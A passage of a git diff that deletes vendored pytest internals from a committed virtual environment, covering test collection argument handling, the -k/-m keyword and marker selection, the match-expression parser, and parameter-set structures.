tuple[CollectReport, bool]: - if node in self._collection_cache and handle_dupes: - rep = self._collection_cache[node] - return rep, True - else: - rep = collect_one_node(node) - self._collection_cache[node] = rep - return rep, False - - def collect(self) -> Iterator[nodes.Item | nodes.Collector]: - # This is a cache for the root directories of the initial paths. - # We can't use collection_cache for Session because of its special - # role as the bootstrapping collector. - path_cache: dict[Path, Sequence[nodes.Collector]] = {} - - pm = self.config.pluginmanager - - for collection_argument in self._initial_parts: - self.trace("processing argument", collection_argument) - self.trace.root.indent += 1 - - argpath = collection_argument.path - names = collection_argument.parts - parametrization = collection_argument.parametrization - module_name = collection_argument.module_name - - # resolve_collection_argument() ensures this. - if argpath.is_dir(): - assert not names, f"invalid arg {(argpath, names)!r}" - - paths = [argpath] - # Add relevant parents of the path, from the root, e.g. - # /a/b/c.py -> [/, /a, /a/b, /a/b/c.py] - if module_name is None: - # Paths outside of the confcutdir should not be considered. - for path in argpath.parents: - if not pm._is_in_confcutdir(path): - break - paths.insert(0, path) - else: - # For --pyargs arguments, only consider paths matching the module - # name. Paths beyond the package hierarchy are not included. - module_name_parts = module_name.split(".") - for i, path in enumerate(argpath.parents, 2): - if i > len(module_name_parts) or path.stem != module_name_parts[-i]: - break - paths.insert(0, path) - - # Start going over the parts from the root, collecting each level - # and discarding all nodes which don't match the level's part. - any_matched_in_initial_part = False - notfound_collectors = [] - work: list[tuple[nodes.Collector | nodes.Item, list[Path | str]]] = [ - (self, [*paths, *names]) - ] - while work: - matchnode, matchparts = work.pop() - - # Pop'd all of the parts, this is a match. - if not matchparts: - yield matchnode - any_matched_in_initial_part = True - continue - - # Should have been matched by now, discard. - if not isinstance(matchnode, nodes.Collector): - continue - - # Collect this level of matching. - # Collecting Session (self) is done directly to avoid endless - # recursion to this function. - subnodes: Sequence[nodes.Collector | nodes.Item] - if isinstance(matchnode, Session): - assert isinstance(matchparts[0], Path) - subnodes = matchnode._collect_path(matchparts[0], path_cache) - else: - # For backward compat, files given directly multiple - # times on the command line should not be deduplicated. - handle_dupes = not ( - len(matchparts) == 1 - and isinstance(matchparts[0], Path) - and matchparts[0].is_file() - ) - rep, duplicate = self._collect_one_node(matchnode, handle_dupes) - if not duplicate and not rep.passed: - # Report collection failures here to avoid failing to - # run some test specified in the command line because - # the module could not be imported (#134). - matchnode.ihook.pytest_collectreport(report=rep) - if not rep.passed: - continue - subnodes = rep.result - - # Prune this level. - any_matched_in_collector = False - for node in reversed(subnodes): - # Path part e.g. `/a/b/` in `/a/b/test_file.py::TestIt::test_it`. - if isinstance(matchparts[0], Path): - is_match = node.path == matchparts[0] - if sys.platform == "win32" and not is_match: - # In case the file paths do not match, fallback to samefile() to - # account for short-paths on Windows (#11895). But use a version - # which doesn't resolve symlinks, otherwise we might match the - # same file more than once (#12039). - is_match = samefile_nofollow(node.path, matchparts[0]) - - # Name part e.g. `TestIt` in `/a/b/test_file.py::TestIt::test_it`. - else: - if len(matchparts) == 1: - # This the last part, one parametrization goes. - if parametrization is not None: - # A parametrized arg must match exactly. - is_match = node.name == matchparts[0] + parametrization - else: - # A non-parameterized arg matches all parametrizations (if any). - # TODO: Remove the hacky split once the collection structure - # contains parametrization. - is_match = node.name.split("[")[0] == matchparts[0] - else: - is_match = node.name == matchparts[0] - if is_match: - work.append((node, matchparts[1:])) - any_matched_in_collector = True - - if not any_matched_in_collector: - notfound_collectors.append(matchnode) - - if not any_matched_in_initial_part: - report_arg = "::".join((str(argpath), *names)) - self._notfound.append((report_arg, notfound_collectors)) - - self.trace.root.indent -= 1 - - def genitems(self, node: nodes.Item | nodes.Collector) -> Iterator[nodes.Item]: - self.trace("genitems", node) - if isinstance(node, nodes.Item): - node.ihook.pytest_itemcollected(item=node) - yield node - else: - assert isinstance(node, nodes.Collector) - # For backward compat, dedup only applies to files. - handle_dupes = not isinstance(node, nodes.File) - rep, duplicate = self._collect_one_node(node, handle_dupes) - if rep.passed: - for subnode in rep.result: - yield from self.genitems(subnode) - if not duplicate: - node.ihook.pytest_collectreport(report=rep) - - -def search_pypath( - module_name: str, *, consider_namespace_packages: bool = False -) -> str | None: - """Search sys.path for the given a dotted module name, and return its file - system path if found.""" - try: - spec = importlib.util.find_spec(module_name) - # AttributeError: looks like package module, but actually filename - # ImportError: module does not exist - # ValueError: not a module name - except (AttributeError, ImportError, ValueError): - return None - - if spec is None: - return None - - if ( - spec.submodule_search_locations is None - or len(spec.submodule_search_locations) == 0 - ): - # Must be a simple module. - return spec.origin - - if consider_namespace_packages: - # If submodule_search_locations is set, it's a package (regular or namespace). - # Typically there is a single entry, but documentation claims it can be empty too - # (e.g. if the package has no physical location). - return spec.submodule_search_locations[0] - - if spec.origin is None: - # This is only the case for namespace packages - return None - - return os.path.dirname(spec.origin) - - -@dataclasses.dataclass(frozen=True) -class CollectionArgument: - """A resolved collection argument.""" - - path: Path - parts: Sequence[str] - parametrization: str | None - module_name: str | None - original_index: int - - -def resolve_collection_argument( - invocation_path: Path, - arg: str, - arg_index: int, - *, - as_pypath: bool = False, - consider_namespace_packages: bool = False, -) -> CollectionArgument: - """Parse path arguments optionally containing selection parts and return (fspath, names). - - Command-line arguments can point to files and/or directories, and optionally contain - parts for specific tests selection, for example: - - "pkg/tests/test_foo.py::TestClass::test_foo" - - This function ensures the path exists, and returns a resolved `CollectionArgument`: - - CollectionArgument( - path=Path("/full/path/to/pkg/tests/test_foo.py"), - parts=["TestClass", "test_foo"], - module_name=None, - ) - - When as_pypath is True, expects that the command-line argument actually contains - module paths instead of file-system paths: - - "pkg.tests.test_foo::TestClass::test_foo[a,b]" - - In which case we search sys.path for a matching module, and then return the *path* to the - found module, which may look like this: - - CollectionArgument( - path=Path("/home/u/myvenv/lib/site-packages/pkg/tests/test_foo.py"), - parts=["TestClass", "test_foo"], - parametrization="[a,b]", - module_name="pkg.tests.test_foo", - ) - - If the path doesn't exist, raise UsageError. - If the path is a directory and selection parts are present, raise UsageError. - """ - base, squacket, rest = arg.partition("[") - strpath, *parts = base.split("::") - if squacket and not parts: - raise UsageError(f"path cannot contain [] parametrization: {arg}") - parametrization = f"{squacket}{rest}" if squacket else None - module_name = None - if as_pypath: - pyarg_strpath = search_pypath( - strpath, consider_namespace_packages=consider_namespace_packages - ) - if pyarg_strpath is not None: - module_name = strpath - strpath = pyarg_strpath - fspath = invocation_path / strpath - fspath = absolutepath(fspath) - if not safe_exists(fspath): - msg = ( - "module or package not found: {arg} (missing __init__.py?)" - if as_pypath - else "file or directory not found: {arg}" - ) - raise UsageError(msg.format(arg=arg)) - if parts and fspath.is_dir(): - msg = ( - "package argument cannot contain :: selection parts: {arg}" - if as_pypath - else "directory argument cannot contain :: selection parts: {arg}" - ) - raise UsageError(msg.format(arg=arg)) - return CollectionArgument( - path=fspath, - parts=parts, - parametrization=parametrization, - module_name=module_name, - original_index=arg_index, - ) - - -def is_collection_argument_subsumed_by( - arg: CollectionArgument, by: CollectionArgument -) -> bool: - """Check if `arg` is subsumed (contained) by `by`.""" - # First check path subsumption. - if by.path != arg.path: - # `by` subsumes `arg` if `by` is a parent directory of `arg` and has no - # parts (collects everything in that directory). - if not by.parts: - return arg.path.is_relative_to(by.path) - return False - # Paths are equal, check parts. - # For example: ("TestClass",) is a prefix of ("TestClass", "test_method"). - if len(by.parts) > len(arg.parts) or arg.parts[: len(by.parts)] != by.parts: - return False - # Paths and parts are equal, check parametrization. - # A `by` without parametrization (None) matches everything, e.g. - # `pytest x.py::test_it` matches `x.py::test_it[0]`. Otherwise must be - # exactly equal. - if by.parametrization is not None and by.parametrization != arg.parametrization: - return False - return True - - -def normalize_collection_arguments( - collection_args: Sequence[CollectionArgument], -) -> list[CollectionArgument]: - """Normalize collection arguments to eliminate overlapping paths and parts. - - Detects when collection arguments overlap in either paths or parts and only - keeps the shorter prefix, or the earliest argument if duplicate, preserving - order. The result is prefix-free. - """ - # A quadratic algorithm is not acceptable since large inputs are possible. - # So this uses an O(n*log(n)) algorithm which takes advantage of the - # property that after sorting, a collection argument will immediately - # precede collection arguments it subsumes. An O(n) algorithm is not worth - # it. - collection_args_sorted = sorted( - collection_args, - key=lambda arg: (arg.path, arg.parts, arg.parametrization or ""), - ) - normalized: list[CollectionArgument] = [] - last_kept = None - for arg in collection_args_sorted: - if last_kept is None or not is_collection_argument_subsumed_by(arg, last_kept): - normalized.append(arg) - last_kept = arg - normalized.sort(key=lambda arg: arg.original_index) - return normalized diff --git a/venv/Lib/site-packages/_pytest/mark/__init__.py b/venv/Lib/site-packages/_pytest/mark/__init__.py deleted file mode 100644 index 56c407ab371f5610599662fdaeb458d4acb219c7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/mark/__init__.py +++ /dev/null @@ -1,301 +0,0 @@ -"""Generic mechanism for marking and selecting python functions.""" - -from __future__ import annotations - -import collections -from collections.abc import Collection -from collections.abc import Iterable -from collections.abc import Set as AbstractSet -import dataclasses -from typing import TYPE_CHECKING - -from .expression import Expression -from .structures import _HiddenParam -from .structures import EMPTY_PARAMETERSET_OPTION -from .structures import get_empty_parameterset_mark -from .structures import HIDDEN_PARAM -from .structures import Mark -from .structures import MARK_GEN -from .structures import MarkDecorator -from .structures import MarkGenerator -from .structures import ParameterSet -from _pytest.compat import NOTSET -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config import UsageError -from _pytest.config.argparsing import Parser -from _pytest.stash import StashKey - - -if TYPE_CHECKING: - from _pytest.nodes import Item - - -__all__ = [ - "HIDDEN_PARAM", - "MARK_GEN", - "Mark", - "MarkDecorator", - "MarkGenerator", - "ParameterSet", - "get_empty_parameterset_mark", -] - - -old_mark_config_key = StashKey[Config | None]() - - -def param( - *values: object, - marks: MarkDecorator | Collection[MarkDecorator | Mark] = (), - id: str | _HiddenParam | None = None, -) -> ParameterSet: - """Specify a parameter in `pytest.mark.parametrize`_ calls or - :ref:`parametrized fixtures `. - - .. code-block:: python - - @pytest.mark.parametrize( - "test_input,expected", - [ - ("3+5", 8), - pytest.param("6*9", 42, marks=pytest.mark.xfail), - ], - ) - def test_eval(test_input, expected): - assert eval(test_input) == expected - - :param values: Variable args of the values of the parameter set, in order. - - :param marks: - A single mark or a list of marks to be applied to this parameter set. - - :ref:`pytest.mark.usefixtures ` cannot be added via this parameter. - - :type id: str | Literal[pytest.HIDDEN_PARAM] | None - :param id: - The id to attribute to this parameter set. - - .. versionadded:: 8.4 - :ref:`hidden-param` means to hide the parameter set - from the test name. Can only be used at most 1 time, as - test names need to be unique. - """ - return ParameterSet.param(*values, marks=marks, id=id) - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group._addoption( # private to use reserved lower-case short option - "-k", - action="store", - dest="keyword", - default="", - metavar="EXPRESSION", - help="Only run tests which match the given substring expression. " - "An expression is a Python evaluable expression " - "where all names are substring-matched against test names " - "and their parent classes. Example: -k 'test_method or test_" - "other' matches all test functions and classes whose name " - "contains 'test_method' or 'test_other', while -k 'not test_method' " - "matches those that don't contain 'test_method' in their names. " - "-k 'not test_method and not test_other' will eliminate the matches. " - "Additionally keywords are matched to classes and functions " - "containing extra names in their 'extra_keyword_matches' set, " - "as well as functions which have names assigned directly to them. " - "The matching is case-insensitive.", - ) - - group._addoption( # private to use reserved lower-case short option - "-m", - action="store", - dest="markexpr", - default="", - metavar="MARKEXPR", - help="Only run tests matching given mark expression. " - "For example: -m 'mark1 and not mark2'.", - ) - - group.addoption( - "--markers", - action="store_true", - help="show markers (builtin, plugin and per-project ones).", - ) - - parser.addini("markers", "Register new markers for test functions", "linelist") - parser.addini(EMPTY_PARAMETERSET_OPTION, "Default marker for empty parametersets") - - -@hookimpl(tryfirst=True) -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - import _pytest.config - - if config.option.markers: - config._do_configure() - tw = _pytest.config.create_terminal_writer(config) - for line in config.getini("markers"): - parts = line.split(":", 1) - name = parts[0] - rest = parts[1] if len(parts) == 2 else "" - tw.write(f"@pytest.mark.{name}:", bold=True) - tw.line(rest) - tw.line() - config._ensure_unconfigure() - return 0 - - return None - - -@dataclasses.dataclass -class KeywordMatcher: - """A matcher for keywords. - - Given a list of names, matches any substring of one of these names. The - string inclusion check is case-insensitive. - - Will match on the name of colitem, including the names of its parents. - Only matches names of items which are either a :class:`Class` or a - :class:`Function`. - - Additionally, matches on names in the 'extra_keyword_matches' set of - any item, as well as names directly assigned to test functions. - """ - - __slots__ = ("_names",) - - _names: AbstractSet[str] - - @classmethod - def from_item(cls, item: Item) -> KeywordMatcher: - mapped_names = set() - - # Add the names of the current item and any parent items, - # except the Session and root Directory's which are not - # interesting for matching. - import pytest - - for node in item.listchain(): - if isinstance(node, pytest.Session): - continue - if isinstance(node, pytest.Directory) and isinstance( - node.parent, pytest.Session - ): - continue - mapped_names.add(node.name) - - # Add the names added as extra keywords to current or parent items. - mapped_names.update(item.listextrakeywords()) - - # Add the names attached to the current function through direct assignment. - function_obj = getattr(item, "function", None) - if function_obj: - mapped_names.update(function_obj.__dict__) - - # Add the markers to the keywords as we no longer handle them correctly. - mapped_names.update(mark.name for mark in item.iter_markers()) - - return cls(mapped_names) - - def __call__(self, subname: str, /, **kwargs: str | int | bool | None) -> bool: - if kwargs: - raise UsageError("Keyword expressions do not support call parameters.") - subname = subname.lower() - return any(subname in name.lower() for name in self._names) - - -def deselect_by_keyword(items: list[Item], config: Config) -> None: - keywordexpr = config.option.keyword.lstrip() - if not keywordexpr: - return - - expr = _parse_expression(keywordexpr, "Wrong expression passed to '-k'") - - remaining = [] - deselected = [] - for colitem in items: - if not expr.evaluate(KeywordMatcher.from_item(colitem)): - deselected.append(colitem) - else: - remaining.append(colitem) - - if deselected: - config.hook.pytest_deselected(items=deselected) - items[:] = remaining - - -@dataclasses.dataclass -class MarkMatcher: - """A matcher for markers which are present. - - Tries to match on any marker names, attached to the given colitem. - """ - - __slots__ = ("own_mark_name_mapping",) - - own_mark_name_mapping: dict[str, list[Mark]] - - @classmethod - def from_markers(cls, markers: Iterable[Mark]) -> MarkMatcher: - mark_name_mapping = collections.defaultdict(list) - for mark in markers: - mark_name_mapping[mark.name].append(mark) - return cls(mark_name_mapping) - - def __call__(self, name: str, /, **kwargs: str | int | bool | None) -> bool: - if not (matches := self.own_mark_name_mapping.get(name, [])): - return False - - for mark in matches: # pylint: disable=consider-using-any-or-all - if all(mark.kwargs.get(k, NOTSET) == v for k, v in kwargs.items()): - return True - return False - - -def deselect_by_mark(items: list[Item], config: Config) -> None: - matchexpr = config.option.markexpr - if not matchexpr: - return - - expr = _parse_expression(matchexpr, "Wrong expression passed to '-m'") - remaining: list[Item] = [] - deselected: list[Item] = [] - for item in items: - if expr.evaluate(MarkMatcher.from_markers(item.iter_markers())): - remaining.append(item) - else: - deselected.append(item) - if deselected: - config.hook.pytest_deselected(items=deselected) - items[:] = remaining - - -def _parse_expression(expr: str, exc_message: str) -> Expression: - try: - return Expression.compile(expr) - except SyntaxError as e: - raise UsageError( - f"{exc_message}: {e.text}: at column {e.offset}: {e.msg}" - ) from None - - -def pytest_collection_modifyitems(items: list[Item], config: Config) -> None: - deselect_by_keyword(items, config) - deselect_by_mark(items, config) - - -def pytest_configure(config: Config) -> None: - config.stash[old_mark_config_key] = MARK_GEN._config - MARK_GEN._config = config - - empty_parameterset = config.getini(EMPTY_PARAMETERSET_OPTION) - - if empty_parameterset not in ("skip", "xfail", "fail_at_collect", None, ""): - raise UsageError( - f"{EMPTY_PARAMETERSET_OPTION!s} must be one of skip, xfail or fail_at_collect" - f" but it is {empty_parameterset!r}" - ) - - -def pytest_unconfigure(config: Config) -> None: - MARK_GEN._config = config.stash.get(old_mark_config_key, None) diff --git a/venv/Lib/site-packages/_pytest/mark/expression.py b/venv/Lib/site-packages/_pytest/mark/expression.py deleted file mode 100644 index 4b4a68d8a74a3cb2703f23c78bb709852b545b67..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/mark/expression.py +++ /dev/null @@ -1,353 +0,0 @@ -r"""Evaluate match expressions, as used by `-k` and `-m`. - -The grammar is: - -expression: expr? EOF -expr: and_expr ('or' and_expr)* -and_expr: not_expr ('and' not_expr)* -not_expr: 'not' not_expr | '(' expr ')' | ident kwargs? - -ident: (\w|:|\+|-|\.|\[|\]|\\|/)+ -kwargs: ('(' name '=' value ( ', ' name '=' value )* ')') -name: a valid ident, but not a reserved keyword -value: (unescaped) string literal | (-)?[0-9]+ | 'False' | 'True' | 'None' - -The semantics are: - -- Empty expression evaluates to False. -- ident evaluates to True or False according to a provided matcher function. -- ident with parentheses and keyword arguments evaluates to True or False according to a provided matcher function. -- or/and/not evaluate according to the usual boolean semantics. -""" - -from __future__ import annotations - -import ast -from collections.abc import Iterator -from collections.abc import Mapping -from collections.abc import Sequence -import dataclasses -import enum -import keyword -import re -import types -from typing import Final -from typing import final -from typing import Literal -from typing import NoReturn -from typing import overload -from typing import Protocol - - -__all__ = [ - "Expression", - "ExpressionMatcher", -] - - -FILE_NAME: Final = "" - - -class TokenType(enum.Enum): - LPAREN = "left parenthesis" - RPAREN = "right parenthesis" - OR = "or" - AND = "and" - NOT = "not" - IDENT = "identifier" - EOF = "end of input" - EQUAL = "=" - STRING = "string literal" - COMMA = "," - - -@dataclasses.dataclass(frozen=True) -class Token: - __slots__ = ("pos", "type", "value") - type: TokenType - value: str - pos: int - - -class Scanner: - __slots__ = ("current", "input", "tokens") - - def __init__(self, input: str) -> None: - self.input = input - self.tokens = self.lex(input) - self.current = next(self.tokens) - - def lex(self, input: str) -> Iterator[Token]: - pos = 0 - while pos < len(input): - if input[pos] in (" ", "\t"): - pos += 1 - elif input[pos] == "(": - yield Token(TokenType.LPAREN, "(", pos) - pos += 1 - elif input[pos] == ")": - yield Token(TokenType.RPAREN, ")", pos) - pos += 1 - elif input[pos] == "=": - yield Token(TokenType.EQUAL, "=", pos) - pos += 1 - elif input[pos] == ",": - yield Token(TokenType.COMMA, ",", pos) - pos += 1 - elif (quote_char := input[pos]) in ("'", '"'): - end_quote_pos = input.find(quote_char, pos + 1) - if end_quote_pos == -1: - raise SyntaxError( - f'closing quote "{quote_char}" is missing', - (FILE_NAME, 1, pos + 1, input), - ) - value = input[pos : end_quote_pos + 1] - if (backslash_pos := value.find("\\")) != -1: - raise SyntaxError( - r'escaping with "\" not supported in marker expression', - (FILE_NAME, 1, pos + backslash_pos + 1, input), - ) - yield Token(TokenType.STRING, value, pos) - pos += len(value) - else: - match = re.match(r"(:?\w|:|\+|-|\.|\[|\]|\\|/)+", input[pos:]) - if match: - value = match.group(0) - if value == "or": - yield Token(TokenType.OR, value, pos) - elif value == "and": - yield Token(TokenType.AND, value, pos) - elif value == "not": - yield Token(TokenType.NOT, value, pos) - else: - yield Token(TokenType.IDENT, value, pos) - pos += len(value) - else: - raise SyntaxError( - f'unexpected character "{input[pos]}"', - (FILE_NAME, 1, pos + 1, input), - ) - yield Token(TokenType.EOF, "", pos) - - @overload - def accept(self, type: TokenType, *, reject: Literal[True]) -> Token: ... - - @overload - def accept( - self, type: TokenType, *, reject: Literal[False] = False - ) -> Token | None: ... - - def accept(self, type: TokenType, *, reject: bool = False) -> Token | None: - if self.current.type is type: - token = self.current - if token.type is not TokenType.EOF: - self.current = next(self.tokens) - return token - if reject: - self.reject((type,)) - return None - - def reject(self, expected: Sequence[TokenType]) -> NoReturn: - raise SyntaxError( - "expected {}; got {}".format( - " OR ".join(type.value for type in expected), - self.current.type.value, - ), - (FILE_NAME, 1, self.current.pos + 1, self.input), - ) - - -# True, False and None are legal match expression identifiers, -# but illegal as Python identifiers. To fix this, this prefix -# is added to identifiers in the conversion to Python AST. -IDENT_PREFIX = "$" - - -def expression(s: Scanner) -> ast.Expression: - if s.accept(TokenType.EOF): - ret: ast.expr = ast.Constant(False) - else: - ret = expr(s) - s.accept(TokenType.EOF, reject=True) - return ast.fix_missing_locations(ast.Expression(ret)) - - -def expr(s: Scanner) -> ast.expr: - ret = and_expr(s) - while s.accept(TokenType.OR): - rhs = and_expr(s) - ret = ast.BoolOp(ast.Or(), [ret, rhs]) - return ret - - -def and_expr(s: Scanner) -> ast.expr: - ret = not_expr(s) - while s.accept(TokenType.AND): - rhs = not_expr(s) - ret = ast.BoolOp(ast.And(), [ret, rhs]) - return ret - - -def not_expr(s: Scanner) -> ast.expr: - if s.accept(TokenType.NOT): - return ast.UnaryOp(ast.Not(), not_expr(s)) - if s.accept(TokenType.LPAREN): - ret = expr(s) - s.accept(TokenType.RPAREN, reject=True) - return ret - ident = s.accept(TokenType.IDENT) - if ident: - name = ast.Name(IDENT_PREFIX + ident.value, ast.Load()) - if s.accept(TokenType.LPAREN): - ret = ast.Call(func=name, args=[], keywords=all_kwargs(s)) - s.accept(TokenType.RPAREN, reject=True) - else: - ret = name - return ret - - s.reject((TokenType.NOT, TokenType.LPAREN, TokenType.IDENT)) - - -BUILTIN_MATCHERS = {"True": True, "False": False, "None": None} - - -def single_kwarg(s: Scanner) -> ast.keyword: - keyword_name = s.accept(TokenType.IDENT, reject=True) - if not keyword_name.value.isidentifier(): - raise SyntaxError( - f"not a valid python identifier {keyword_name.value}", - (FILE_NAME, 1, keyword_name.pos + 1, s.input), - ) - if keyword.iskeyword(keyword_name.value): - raise SyntaxError( - f"unexpected reserved python keyword `{keyword_name.value}`", - (FILE_NAME, 1, keyword_name.pos + 1, s.input), - ) - s.accept(TokenType.EQUAL, reject=True) - - if value_token := s.accept(TokenType.STRING): - value: str | int | bool | None = value_token.value[1:-1] # strip quotes - else: - value_token = s.accept(TokenType.IDENT, reject=True) - if (number := value_token.value).isdigit() or ( - number.startswith("-") and number[1:].isdigit() - ): - value = int(number) - elif value_token.value in BUILTIN_MATCHERS: - value = BUILTIN_MATCHERS[value_token.value] - else: - raise SyntaxError( - f'unexpected character/s "{value_token.value}"', - (FILE_NAME, 1, value_token.pos + 1, s.input), - ) - - ret = ast.keyword(keyword_name.value, ast.Constant(value)) - return ret - - -def all_kwargs(s: Scanner) -> list[ast.keyword]: - ret = [single_kwarg(s)] - while s.accept(TokenType.COMMA): - ret.append(single_kwarg(s)) - return ret - - -class ExpressionMatcher(Protocol): - """A callable which, given an identifier and optional kwargs, should return - whether it matches in an :class:`Expression` evaluation. - - Should be prepared to handle arbitrary strings as input. - - If no kwargs are provided, the expression of the form `foo`. - If kwargs are provided, the expression is of the form `foo(1, b=True, "s")`. - - If the expression is not supported (e.g. don't want to accept the kwargs - syntax variant), should raise :class:`~pytest.UsageError`. - - Example:: - - def matcher(name: str, /, **kwargs: str | int | bool | None) -> bool: - # Match `cat`. - if name == "cat" and not kwargs: - return True - # Match `dog(barks=True)`. - if name == "dog" and kwargs == {"barks": False}: - return True - return False - """ - - def __call__(self, name: str, /, **kwargs: str | int | bool | None) -> bool: ... - - -@dataclasses.dataclass -class MatcherNameAdapter: - matcher: ExpressionMatcher - name: str - - def __bool__(self) -> bool: - return self.matcher(self.name) - - def __call__(self, **kwargs: str | int | bool | None) -> bool: - return self.matcher(self.name, **kwargs) - - -class MatcherAdapter(Mapping[str, MatcherNameAdapter]): - """Adapts a matcher function to a locals mapping as required by eval().""" - - def __init__(self, matcher: ExpressionMatcher) -> None: - self.matcher = matcher - - def __getitem__(self, key: str) -> MatcherNameAdapter: - return MatcherNameAdapter(matcher=self.matcher, name=key[len(IDENT_PREFIX) :]) - - def __iter__(self) -> Iterator[str]: - raise NotImplementedError() - - def __len__(self) -> int: - raise NotImplementedError() - - -@final -class Expression: - """A compiled match expression as used by -k and -m. - - The expression can be evaluated against different matchers. - """ - - __slots__ = ("_code", "input") - - def __init__(self, input: str, code: types.CodeType) -> None: - #: The original input line, as a string. - self.input: Final = input - self._code: Final = code - - @classmethod - def compile(cls, input: str) -> Expression: - """Compile a match expression. - - :param input: The input expression - one line. - - :raises SyntaxError: If the expression is malformed. - """ - astexpr = expression(Scanner(input)) - code = compile( - astexpr, - filename="", - mode="eval", - ) - return Expression(input, code) - - def evaluate(self, matcher: ExpressionMatcher) -> bool: - """Evaluate the match expression. - - :param matcher: - A callback which determines whether an identifier matches or not. - See the :class:`ExpressionMatcher` protocol for details and example. - - :returns: Whether the expression matches or not. - - :raises UsageError: - If the matcher doesn't support the expression. Cannot happen if the - matcher supports all expressions. - """ - return bool(eval(self._code, {"__builtins__": {}}, MatcherAdapter(matcher))) diff --git a/venv/Lib/site-packages/_pytest/mark/structures.py b/venv/Lib/site-packages/_pytest/mark/structures.py deleted file mode 100644 index 5449b17a1c69eafbe47dfe9fcb0c67b47731ee48..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/mark/structures.py +++ /dev/null @@ -1,695 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import collections.abc -from collections.abc import Callable -from collections.abc import Collection -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Mapping -from collections.abc import MutableMapping -from collections.abc import Sequence -import dataclasses -import enum -import inspect -from typing import Any -from typing import final -from typing import NamedTuple -from typing import overload -from typing import TYPE_CHECKING -from typing import TypeVar -import warnings - -from .._code import getfslineno -from ..compat import NOTSET -from ..compat import NotSetType -from _pytest.config import Config -from _pytest.deprecated import check_ispytest -from _pytest.deprecated import PARAMETRIZE_NON_COLLECTION_ITERABLE -from _pytest.outcomes import fail -from _pytest.raises import AbstractRaises -from _pytest.scope import ScopeName -from _pytest.warning_types import PytestCollectionWarning -from _pytest.warning_types import PytestUnknownMarkWarning - - -if TYPE_CHECKING: - from ..nodes import Node - - -EMPTY_PARAMETERSET_OPTION = "empty_parameter_set_mark" - - -# Singleton type for HIDDEN_PARAM, as described in: -# https://www.python.org/dev/peps/pep-0484/#support-for-singleton-types-in-unions -class _HiddenParam(enum.Enum): - token = 0 - - -#: Can be used as a parameter set id to hide it from the test name. -HIDDEN_PARAM = _HiddenParam.token - - -def istestfunc(func) -> bool: - return callable(func) and getattr(func, "__name__", "") != "" - - -def get_empty_parameterset_mark( - config: Config, argnames: Sequence[str], func -) -> MarkDecorator: - from ..nodes import Collector - - argslisting = ", ".join(argnames) - - _fs, lineno = getfslineno(func) - reason = f"got empty parameter set for ({argslisting})" - requested_mark = config.getini(EMPTY_PARAMETERSET_OPTION) - if requested_mark in ("", None, "skip"): - mark = MARK_GEN.skip(reason=reason) - elif requested_mark == "xfail": - mark = MARK_GEN.xfail(reason=reason, run=False) - elif requested_mark == "fail_at_collect": - raise Collector.CollectError( - f"Empty parameter set in '{func.__name__}' at line {lineno + 1}" - ) - else: - raise LookupError(requested_mark) - return mark - - -class ParameterSet(NamedTuple): - """A set of values for a set of parameters along with associated marks and - an optional ID for the set. - - Examples:: - - pytest.param(1, 2, 3) - # ParameterSet(values=(1, 2, 3), marks=(), id=None) - - pytest.param("hello", id="greeting") - # ParameterSet(values=("hello",), marks=(), id="greeting") - - # Parameter set with marks - pytest.param(42, marks=pytest.mark.xfail) - # ParameterSet(values=(42,), marks=(MarkDecorator(...),), id=None) - - # From parametrize mark (parameter names + list of parameter sets) - pytest.mark.parametrize( - ("a", "b", "expected"), - [ - (1, 2, 3), - pytest.param(40, 2, 42, id="everything"), - ], - ) - # ParameterSet(values=(1, 2, 3), marks=(), id=None) - # ParameterSet(values=(40, 2, 42), marks=(), id="everything") - """ - - values: Sequence[object | NotSetType] - marks: Collection[MarkDecorator | Mark] - id: str | _HiddenParam | None - - @classmethod - def param( - cls, - *values: object, - marks: MarkDecorator | Collection[MarkDecorator | Mark] = (), - id: str | _HiddenParam | None = None, - ) -> ParameterSet: - if isinstance(marks, MarkDecorator): - marks = (marks,) - else: - assert isinstance(marks, collections.abc.Collection) - if any(i.name == "usefixtures" for i in marks): - raise ValueError( - "pytest.param cannot add pytest.mark.usefixtures; see " - "https://docs.pytest.org/en/stable/reference/reference.html#pytest-param" - ) - - if id is not None: - if not isinstance(id, str) and id is not HIDDEN_PARAM: - raise TypeError( - "Expected id to be a string or a `pytest.HIDDEN_PARAM` sentinel, " - f"got {type(id)}: {id!r}", - ) - return cls(values, marks, id) - - @classmethod - def extract_from( - cls, - parameterset: ParameterSet | Sequence[object] | object, - force_tuple: bool = False, - ) -> ParameterSet: - """Extract from an object or objects. - - :param parameterset: - A legacy style parameterset that may or may not be a tuple, - and may or may not be wrapped into a mess of mark objects. - - :param force_tuple: - Enforce tuple wrapping so single argument tuple values - don't get decomposed and break tests. - """ - if isinstance(parameterset, cls): - return parameterset - if force_tuple: - return cls.param(parameterset) - else: - # TODO: Refactor to fix this type-ignore. Currently the following - # passes type-checking but crashes: - # - # @pytest.mark.parametrize(('x', 'y'), [1, 2]) - # def test_foo(x, y): pass - return cls(parameterset, marks=[], id=None) # type: ignore[arg-type] - - @staticmethod - def _parse_parametrize_args( - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - *args, - **kwargs, - ) -> tuple[Sequence[str], bool]: - if isinstance(argnames, str): - # A trailing comma indicates tuple-style: "arg," is equivalent to ("arg",) - # In this case, argvalues should be a list of tuples, not wrapped values. - # See https://github.com/pytest-dev/pytest/issues/719 - has_trailing_comma = argnames.rstrip().endswith(",") - argnames = [x.strip() for x in argnames.split(",") if x.strip()] - force_tuple = len(argnames) == 1 and not has_trailing_comma - else: - force_tuple = False - return argnames, force_tuple - - @staticmethod - def _parse_parametrize_parameters( - argvalues: Iterable[ParameterSet | Sequence[object] | object], - force_tuple: bool, - ) -> list[ParameterSet]: - return [ - ParameterSet.extract_from(x, force_tuple=force_tuple) for x in argvalues - ] - - @classmethod - def _for_parametrize( - cls, - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - func, - config: Config, - nodeid: str, - ) -> tuple[Sequence[str], list[ParameterSet]]: - if not isinstance(argvalues, Collection): - warnings.warn( 